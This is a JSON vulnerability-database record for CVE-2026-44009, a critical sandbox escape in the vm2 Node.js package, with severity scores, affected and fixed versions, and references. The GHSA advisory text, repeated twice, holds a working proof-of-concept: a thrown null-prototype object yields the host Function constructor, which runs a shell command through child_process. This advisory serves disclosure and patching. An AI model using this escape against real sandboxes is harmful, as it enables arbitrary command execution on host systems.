{"id":"CVE-2026-44009","aliases":["CLSA-2026-1787860907","EUVD-2026-30079","GHSA-2cm2-m3w5-gp2f","GHSA-9vg3-4rfj-wgcm","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-44009"],"status":"published","title":"vm2: Sandbox Breakout Through Null Proto Exception","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01015,"percentile":0.63565,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-653","CWE-668"],"published":"2026-05-08T16:20:58Z","modified":"2026-11-05T03:31:27Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.2"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.10.5-aikido.6","3.9.17-aikido.13","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.10.5-aikido.7","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.4","3.10.5-root.io.5","3.9.17-root.io.11","3.9.17-root.io.12","3.10.5-root.io.6","3.9.17-root.io.13","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.10.5-root.io.7","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.2"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.10.5-aikido.6"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.4"},{"fixed":"3.10.5-root.io.5"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.10.5-root.io.6"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.1"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/c33c2bb19a822847f4e01d8d87b28dd5b2c86b3e","tags":["x_refsource_MISC","fix","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50850","tags":["x_refsource_MISC","vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44009","tags":["x_refsource_MISC","vdb-entry","x_refsource_REDHAT","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477185","tags":["x_refsource_MISC","issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.2","tags":["x_refsource_MISC","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44009.json","tags":["x_refsource_MISC","x_sadp-csaf-vex","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44009","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9vg3-4rfj-wgcm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44009.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44009","title":"vm2: Sandbox Breakout Through Null Proto Exception","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","status":"published","published":"2026-05-13T17:36:07.309Z","modified":"2026-11-04T03:35:47.352Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-668","CWE-653"],"updated_at":"2026-11-04T04:50:53.041166Z"}],"euvd":[{"id":"EUVD-2026-30079","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","status":"published","published":"2026-05-13T17:36:07Z","modified":"2026-11-04T03:35:47Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-04T05:59:15.754115Z"}],"ghsa":[{"id":"GHSA-9vg3-4rfj-wgcm","title":"vm2 has Sandbox Breakout Through Null Proto Exception","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIn `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst o = {__proto__: null};\ntry {\n\tthrow o;\n} catch (e) {\n\te.f = Buffer.prototype.inspect\n\to.f.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n}\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","status":"published","published":"2026-05-08T16:20:58Z","modified":"2026-11-04T03:35:01Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-653","CWE-668"],"updated_at":"2026-11-04T03:52:50.391589Z"}],"nvd":[{"id":"CVE-2026-44009","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","status":"published","published":"2026-05-13T18:16:17.803Z","modified":"2026-11-04T04:17:36.503Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-668","CWE-653"],"updated_at":"2026-11-04T06:53:16.37612Z"}],"osv":[{"id":"CVE-2026-44009","title":"vm2: Sandbox Breakout Through Null Proto Exception","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","status":"published","published":"2026-05-13T17:36:07.309Z","modified":"2026-11-05T03:31:27.146145429Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-668"],"updated_at":"2026-11-05T07:12:28.867005Z"},{"id":"GHSA-9vg3-4rfj-wgcm","title":"vm2 has Sandbox Breakout Through Null Proto Exception","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIn `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst o = {__proto__: null};\ntry {\n\tthrow o;\n} catch (e) {\n\te.f = Buffer.prototype.inspect\n\to.f.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n}\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","status":"published","published":"2026-05-08T16:20:58Z","modified":"2026-11-04T03:45:10.229473984Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-653","CWE-668"],"updated_at":"2026-11-04T03:56:18.279609Z"},{"id":"ROOT-APP-NPM-CVE-2026-44009","title":"CVE-2026-44009 in vm2 - Patched by Root","description":"Root has patched CVE-2026-44009 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:25.897325389Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}